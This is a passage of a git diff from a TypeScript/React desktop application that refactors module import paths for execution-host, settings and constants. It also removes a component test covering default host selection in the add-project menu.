{ translate } from '@/i18n/i18n' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity' diff --git a/src/renderer/src/components/sidebar/host-header-menu-items.ts b/src/renderer/src/components/sidebar/host-header-menu-items.ts index 4d2da17be3f..c3e7eb84045 100644 --- a/src/renderer/src/components/sidebar/host-header-menu-items.ts +++ b/src/renderer/src/components/sidebar/host-header-menu-items.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostKind } from '../../../../shared/execution-host' +import type { ExecutionHostKind } from '../../../../shared/execution-host/execution-host' import type { ExecutionHostHealth } from '../../../../shared/execution-host/execution-host-health' import type { RuntimeCompatVerdict } from '../../../../shared/remote-runtime/protocol/protocol-compat' import type { RuntimeHostBlockedReason } from '../../../../shared/remote-runtime/host-status/runtime-host-status' diff --git a/src/renderer/src/components/sidebar/host-rename-remove.ts b/src/renderer/src/components/sidebar/host-rename-remove.ts index bc763850499..05798a9ed86 100644 --- a/src/renderer/src/components/sidebar/host-rename-remove.ts +++ b/src/renderer/src/components/sidebar/host-rename-remove.ts @@ -1,10 +1,13 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { clearHostSettingOverride, getHostSettingOverride, setHostSettingOverride } from '../../../../shared/execution-host/host-setting-overrides' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { HostSettingOverrides } from '../../../../shared/execution-host/host-setting-overrides' type OverridesSlice = Pick diff --git a/src/renderer/src/components/sidebar/linear-agent-skill-runtime.ts b/src/renderer/src/components/sidebar/linear-agent-skill-runtime.ts index db175349028..b898ba20612 100644 --- a/src/renderer/src/components/sidebar/linear-agent-skill-runtime.ts +++ b/src/renderer/src/components/sidebar/linear-agent-skill-runtime.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' import type { SkillDiscoveryTarget } from '../../../../shared/skills/discovery/skills' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/components/sidebar/open-setup-script-settings.ts b/src/renderer/src/components/sidebar/open-setup-script-settings.ts index b73efae77ba..2a8a41a1566 100644 --- a/src/renderer/src/components/sidebar/open-setup-script-settings.ts +++ b/src/renderer/src/components/sidebar/open-setup-script-settings.ts @@ -1,5 +1,5 @@ import { getRepositoryLocalCommandsSectionId } from '@/components/settings/repository/repository-settings-targets' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export function openSetupScriptSettings(input: { repoId: string diff --git a/src/renderer/src/components/sidebar/project-admission/completion/add-repo-store-upsert.ts b/src/renderer/src/components/sidebar/project-admission/completion/add-repo-store-upsert.ts index 608670b04db..34e54993ffd 100644 --- a/src/renderer/src/components/sidebar/project-admission/completion/add-repo-store-upsert.ts +++ b/src/renderer/src/components/sidebar/project-admission/completion/add-repo-store-upsert.ts @@ -2,7 +2,7 @@ import { projectHostSetupProjectionFromRepos } from '../../../../../../shared/pr import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import { useAppStore } from '@/store/index' import { getRepoHostIdentity } from '../../../../../../shared/repository/repo-host-identity' diff --git a/src/renderer/src/components/sidebar/project-admission/completion/project-added-default-checkout.ts b/src/renderer/src/components/sidebar/project-admission/completion/project-added-default-checkout.ts index b18b8988881..a1a12add7f6 100644 --- a/src/renderer/src/components/sidebar/project-admission/completion/project-added-default-checkout.ts +++ b/src/renderer/src/components/sidebar/project-admission/completion/project-added-default-checkout.ts @@ -7,7 +7,10 @@ import type { DetectedWorktreeListResult, Worktree } from '../../../../../../sha import { relativePathInsideRoot } from '../../../../../../shared/file-access/cross-platform-path' import { markOnboardingProjectAdded } from '@/components/onboarding/onboarding-project-checklist' import { finalizeImportedRepoAfterSkip } from './add-repo-skip-finalization' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { selectDetectedWorktreesByRepo, selectWorktreesByRepo diff --git a/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts b/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts index 001fcc7eec6..05e01e62c4a 100644 --- a/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts +++ b/src/renderer/src/components/sidebar/project-admission/completion/use-complete-git-repo-add.ts @@ -8,7 +8,7 @@ import { } from '../dialog/add-repo-existing-workspaces-telemetry' import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order' import { finishProjectAddWithDefaultCheckout } from './project-added-default-checkout' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' export type GitRepoAddOutcome = { importedProjectGroupId?: string } diff --git a/src/renderer/src/components/sidebar/project-admission/create/useCreateRepo.ts b/src/renderer/src/components/sidebar/project-admission/create/useCreateRepo.ts index c33d6806bb6..5efdaa5e992 100644 --- a/src/renderer/src/components/sidebar/project-admission/create/useCreateRepo.ts +++ b/src/renderer/src/components/sidebar/project-admission/create/useCreateRepo.ts @@ -17,7 +17,7 @@ import { resolveAddRepoRuntimeTarget, worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { readWslHostWindowsDriveRefusal, type WslHostWindowsDriveRefusal diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx b/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx index 042115f2b71..9941191d534 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx +++ b/src/renderer/src/components/sidebar/project-admission/dialog/AddRepoSteps.tsx @@ -14,7 +14,7 @@ import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error' import { formatSshUserFacingError } from '@/components/settings/ssh/targets/ssh-user-facing-error' import { upsertAddedRepoWithProjectHostSetup } from '../completion/add-repo-store-upsert' import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function useRemoteRepo( fetchWorktrees: ( diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.ts b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.ts index 475e2b38644..86135cf5e24 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.ts @@ -1,4 +1,4 @@ -import type { ParsedExecutionHost } from '../../../../../../shared/execution-host' +import type { ParsedExecutionHost } from '../../../../../../shared/execution-host/execution-host' export type AddRepoBrowseAuthorityActions = { browseLocal: () => void diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-dialog-types.ts b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-dialog-types.ts index 007f6f1b9d6..a2ef08c6e92 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-dialog-types.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-dialog-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WslHostWindowsDriveRefusal } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' export type AddRepoDialogStep = 'add' | 'clone' | 'remote' | 'server-path' | 'create' | 'nested' diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-local-path-batch.ts b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-local-path-batch.ts index 6d3d24c0b0a..049cd58005a 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-local-path-batch.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/add-repo-local-path-batch.ts @@ -2,7 +2,7 @@ import { useEffect, type RefObject } from 'react' import { toast } from 'sonner' import { isGitRepoKind } from '../../../../../../shared/repository/repo-kind' import type { AddRepoExistingWorkspaceSource } from '../../../../../../shared/telemetry/schemas/telemetry-property-schemas' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import { showSkippedBatchFoldersToast } from '../completion/add-repo-skipped-folders-toast' import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner' diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-dialog-modal-paths.ts b/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-dialog-modal-paths.ts index a128aecc637..c84c24aae57 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-dialog-modal-paths.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-dialog-modal-paths.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { readWslHostWindowsDriveRefusal } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' import { readDroppedHostPath, diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-entry-request-state.ts b/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-entry-request-state.ts index 96133bd09a7..4ae95d98cb0 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-entry-request-state.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/use-add-repo-entry-request-state.ts @@ -1,5 +1,5 @@ import { useState, type Dispatch, type SetStateAction } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WslHostWindowsDriveRefusal } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' import type { AddRepoDialogEntryRequest, AddRepoDialogStep } from './add-repo-dialog-types' diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoCloneFlow.ts b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoCloneFlow.ts index 0772ff854fe..cd87c14a7f4 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoCloneFlow.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoCloneFlow.ts @@ -12,7 +12,7 @@ import { resolveAddRepoRuntimeTarget, worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useCloneFolderOverride, type CloneFolderOverride diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoLocalFolderFlow.ts b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoLocalFolderFlow.ts index 83c5fc446cd..fa992126218 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoLocalFolderFlow.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoLocalFolderFlow.ts @@ -14,7 +14,7 @@ import type { ShowNestedRepoReviewArgs } from '../nested-import/useAddRepoNested import { createNestedRepoScanId } from './add-repo-dialog-types' import { translate } from '@/i18n/i18n' import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { addRepoBusyLabels } from './add-repo-busy-labels' import { addLocalPathsForGeneration, diff --git a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoServerPathFlow.ts b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoServerPathFlow.ts index eb96d234fe1..10af1ca78c3 100644 --- a/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoServerPathFlow.ts +++ b/src/renderer/src/components/sidebar/project-admission/dialog/useAddRepoServerPathFlow.ts @@ -15,7 +15,7 @@ import { worktreeRefreshOptions } from '../host-selection/add-repo-runtime-owner import { toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { wslHostWindowsDriveRefusalForLinuxPath, type WslHostWindowsDriveRefusal diff --git a/src/renderer/src/components/sidebar/project-admission/drop/sidebar-project-drop.ts b/src/renderer/src/components/sidebar/project-admission/drop/sidebar-project-drop.ts index 45763ac950b..95f295a0d38 100644 --- a/src/renderer/src/components/sidebar/project-admission/drop/sidebar-project-drop.ts +++ b/src/renderer/src/components/sidebar/project-admission/drop/sidebar-project-drop.ts @@ -1,8 +1,8 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { classifyRejectedWindowsPath } from '../../../../../../shared/file-access/windows-path-access' import { windowsPathOfWslDrvfsUncPath } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' import type { WslHostWindowsPathAccess } from '@/lib/files/os-open/windows-path-access' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx index a7502545367..ce165ef195f 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/AddRepoHostSelector.tsx @@ -14,7 +14,7 @@ import { sidebarHostDisplayLabel, shouldShowHostScopeControls } from '../../worktree-list/controls/sidebar-host-options' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translateExecutionHostDetail } from '../../execution-host-label' import { describeRuntimeCompatBlock } from '@/runtime/hosts/display/runtime-host-copy' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-runtime-owner.ts b/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-runtime-owner.ts index a3260313c1d..b81f6c8639d 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-runtime-owner.ts +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-runtime-owner.ts @@ -3,7 +3,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-wsl-host-folder-picker.ts b/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-wsl-host-folder-picker.ts index 570edf5c4a6..2bb5f659650 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-wsl-host-folder-picker.ts +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/add-repo-wsl-host-folder-picker.ts @@ -6,7 +6,7 @@ import { import { normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { wslHostWindowsDriveRefusalForPickedPath, type WslHostWindowsDriveRefusal diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-host-selection.ts b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-host-selection.ts index 3dcd38b539d..384462eb606 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-host-selection.ts +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-host-selection.ts @@ -6,7 +6,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { SshConnectionState } from '../../../../../../shared/remote-runtime/ssh/ssh-types' import { isEphemeralVmRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { AddRepoDialogStep } from '../dialog/add-repo-dialog-types' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-windows-drive-refusal.tsx b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-windows-drive-refusal.tsx index f29b6d23c25..4f51ed2d843 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-windows-drive-refusal.tsx +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-windows-drive-refusal.tsx @@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState, type ReactNode } from 'react' import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { WslHostWindowsDriveRefusal } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' import type { AddRepoExistingWorkspaceSource } from '../../../../../../shared/telemetry/schemas/telemetry-property-schemas' import { isWindowsDesktopClient } from '@/lib/files/os-open/windows-path-access' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-offer.tsx b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-offer.tsx index 199c890ad4c..951ba554e2d 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-offer.tsx +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-offer.tsx @@ -3,7 +3,7 @@ import { useAppStore } from '@/store/index' import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { AddRepoExistingWorkspaceSource } from '../../../../../../shared/telemetry/schemas/telemetry-property-schemas' import { AddRepoWslHostOffer } from './AddRepoWslHostOffer' import { AddRepoExistingWslHostOffer } from './AddRepoExistingWslHostOffer' diff --git a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-paths.ts b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-paths.ts index d395041fd68..3e83fabc4b2 100644 --- a/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-paths.ts +++ b/src/renderer/src/components/sidebar/project-admission/host-selection/use-add-repo-wsl-host-paths.ts @@ -1,6 +1,9 @@ import { useCallback, useEffect, useMemo, useRef } from 'react' import { useAppStore } from '@/store/index' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { getWindowsPathAccess } from '@/lib/files/os-open/windows-path-access' import { browseRuntimeServerDirectory } from '@/runtime/files/reads/runtime-server-directory-browser' import type { AddRepoDialogStep } from '../dialog/add-repo-dialog-types' diff --git a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectHostSubmenu.tsx b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectHostSubmenu.tsx index 0ec0d3c78e7..ccd18ec80e4 100644 --- a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectHostSubmenu.tsx +++ b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectHostSubmenu.tsx @@ -15,7 +15,7 @@ import { HostListSearchField } from '@/components/host-picker/HostListSearchFiel import { useBoundedHostRows } from '@/components/host-picker/use-bounded-host-rows' import { useTranslate } from '@/i18n/use-translate' import { cn } from '@/lib/class-names' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AddRemoteHostMode } from '../../host-admission/ssh/AddRemoteHostDialog' import { openWslHostsExperimentalSetting, diff --git a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.fixture.tsx b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.fixture.tsx index 95ec5c47508..46710266d96 100644 --- a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.fixture.tsx +++ b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.fixture.tsx @@ -1,6 +1,6 @@ import React from 'react' import { defineFixture } from '../../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { NewWorkspaceProjectOption } from '@/lib/workspace/creation/new-workspace-project-options' import type { ProjectHostSetupOption } from '@/lib/workspace/creation/project-host-setup-options' diff --git a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.test.tsx b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.test.tsx index aaead6e359d..9f38f27389f 100644 --- a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.test.tsx +++ b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.test.tsx @@ -1,20 +1,16 @@ // @vitest-environment happy-dom -import React, { useState } from 'react' +import 'react' import { cleanup, fireEvent, render, screen } from '@testing-library/react' import userEvent from '@testing-library/user-event' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { TooltipProvider } from '@/components/ui/tooltip' import { useAppStore } from '@/store' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' -import { - getProjectHostSetupSelectionKey, - type ProjectHostSetupOption -} from '@/lib/workspace/creation/project-host-setup-options' -import { NewWorkspaceComposerProjectSection } from '@/components/new-workspace/composer/NewWorkspaceComposerProjectSection' +import '@/lib/workspace/creation/project-host-setup-options' +import '@/components/new-workspace/composer/NewWorkspaceComposerProjectSection' import { SidebarHeaderActions } from '../../sidebar-header-actions' -import type { AddRepoDialogEntryRequest } from '../dialog/add-repo-dialog-types' vi.mock('@/components/new-workspace/project-selection/use-recent-project-ids', () => ({ useRecentProjectIds: () => [] @@ -126,126 +122,3 @@ describe('AddProjectMenu in sidebar header', () => { }) }) }) - -function ComposerHostSyncHarness({ - onRequest -}: { - onRequest: (request: AddRepoDialogEntryRequest) => void -}): React.JSX.Element { - const hostOptions: ProjectHostSetupOption[] = [ - { - kind: 'ready', - id: 'setup-local', - projectId: 'orca', - repoId: 'orca-local', - hostId: 'local', - label: 'Local Mac', - detail: 'Local', - path: '/Users/alice/orca' - }, - { - kind: 'ready', - id: 'setup-ubuntu', - projectId: 'orca', - repoId: 'orca-ubuntu', - hostId: 'runtime:wsl-ubuntu', - label: 'Ubuntu-24.04', - detail: 'WSL', - path: '/home/alice/orca' - } - ] - const [setupId, setSetupId] = useState('setup-local') - const activeOption = hostOptions.find((item) => item.id === setupId) ?? hostOptions[0] - - return ( - - { - const next = hostOptions.find( - (candidate) => getProjectHostSetupSelectionKey(candidate) === selectionKey - ) - if (next) { - setSetupId(next.id) - } - }} - ephemeralVmRecipes={[]} - handleAddSshHost={vi.fn()} - handleAddRemoteServer={vi.fn()} - handleConnectRunTargetHost={async () => {}} - handleSetLocation={vi.fn()} - selectedRepoConnectionId={null} - selectedRepoRequiresConnection={false} - selectedRepoConnectInProgress={false} - onConnectSelectedRepo={async () => {}} - sshStatusLabel="Connected" - connectButtonLabel="Connect" - selectedProjectName="orca" - /> - - ) -} - -describe('AddProjectMenu default host sync in worktree composer', () => { - it('uses the Run on host selected in the worktree dialog for both the FolderPlus button and ProjectCombobox cascade', async () => { - const user = userEvent.setup() - const onRequest = vi.fn<(request: AddRepoDialogEntryRequest) => void>() - render() - - // Switch Run on from Local Mac to Ubuntu-24.04. - await user.click(screen.getByRole('combobox', { name: 'Run on' })) - await user.click(await screen.findByRole('option', { name: /Ubuntu-24\.04/ })) - - // 1. FolderPlus button above Project defaults to Ubuntu-24.04. - await user.click(screen.getByRole('button', { name: 'Add project' })) - expect((await screen.findByRole('menuitem', { name: /Project host:/ })).textContent).toContain( - 'Ubuntu-24.04' - ) - await user.click(screen.getByRole('menuitem', { name: /Create new project/ })) - - expect(onRequest).toHaveBeenLastCalledWith( - expect.objectContaining({ - kind: 'create', - hostId: 'runtime:wsl-ubuntu' - }) - ) - - // 2. ProjectCombobox pinned "Add project" cascade also defaults to Ubuntu-24.04 on hover + click. - await user.click(screen.getByRole('combobox', { name: 'Project' })) - const addProjectOption = await screen.findByRole('option', { name: /Add project/ }) - fireEvent.mouseEnter(addProjectOption) - - expect((await screen.findByRole('menuitem', { name: /Project host:/ })).textContent).toContain( - 'Ubuntu-24.04' - ) - await user.click(screen.getByRole('menuitem', { name: /Clone from URL/ })) - - expect(onRequest).toHaveBeenLastCalledWith( - expect.objectContaining({ - kind: 'clone', - hostId: 'runtime:wsl-ubuntu' - }) - ) - }) -}) diff --git a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.tsx b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.tsx index dd25dcb2bc2..82a4caf745d 100644 --- a/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.tsx +++ b/src/renderer/src/components/sidebar/project-admission/menu/AddProjectMenu.tsx @@ -10,7 +10,7 @@ import { } from '@/components/ui/dropdown-menu' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { useTranslate, type Translate } from '@/i18n/use-translate' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { AddRemoteHostDialog, type AddRemoteHostMode diff --git a/src/renderer/src/components/sidebar/project-admission/menu/launch-add-project-menu-action.ts b/src/renderer/src/components/sidebar/project-admission/menu/launch-add-project-menu-action.ts index 598ede19cc7..fd0c154bf79 100644 --- a/src/renderer/src/components/sidebar/project-admission/menu/launch-add-project-menu-action.ts +++ b/src/renderer/src/components/sidebar/project-admission/menu/launch-add-project-menu-action.ts @@ -5,7 +5,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { WslHostWindowsDriveRefusal } from '../../../../../../shared/remote-runtime/wsl-hosts/wsl-host-windows-drive-refusal' import type { AddProjectMenuAction, diff --git a/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedReviewController.ts b/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedReviewController.ts index d39a6a7dd6a..a1b4d8678e5 100644 --- a/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedReviewController.ts +++ b/src/renderer/src/components/sidebar/project-admission/nested-import/useAddRepoNestedReviewController.ts @@ -5,7 +5,7 @@ import type { WorktreeFetchOptions } from '@/store/slices/worktrees/listing/work import { useAddRepoNestedImportFlow } from './useAddRepoNestedImportFlow' import { useAddRepoNestedReviewState } from './useAddRepoNestedReviewState' import type { AddRepoDialogStep } from '../dialog/add-repo-dialog-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function useAddRepoNestedReviewController({ activeRuntimeEnvironmentId, diff --git a/src/renderer/src/components/sidebar/repo-scan-failure.ts b/src/renderer/src/components/sidebar/repo-scan-failure.ts index 860da1cbeb4..ff6b9a5a2c3 100644 --- a/src/renderer/src/components/sidebar/repo-scan-failure.ts +++ b/src/renderer/src/components/sidebar/repo-scan-failure.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { classifyWorktreeScanFailure, type WorktreeScanFailureKind diff --git a/src/renderer/src/components/sidebar/setup-script-prompt-render-state.ts b/src/renderer/src/components/sidebar/setup-script-prompt-render-state.ts index 85fee242453..247ce6c5b5c 100644 --- a/src/renderer/src/components/sidebar/setup-script-prompt-render-state.ts +++ b/src/renderer/src/components/sidebar/setup-script-prompt-render-state.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import type { Worktree } from '../../../../shared/worktree/types' import { @@ -6,7 +6,7 @@ import { type SetupScriptPromptInspection } from '@/runtime/repo-hooks/setup-script-prompt' import { findRepoForHost } from '@/store/repos/repo-host-identity' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' export type SetupScriptPromptState = SetupScriptPromptInspection & { repoHostIdentity: string diff --git a/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts index 0d2633bb584..44a0f5249f6 100644 --- a/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts 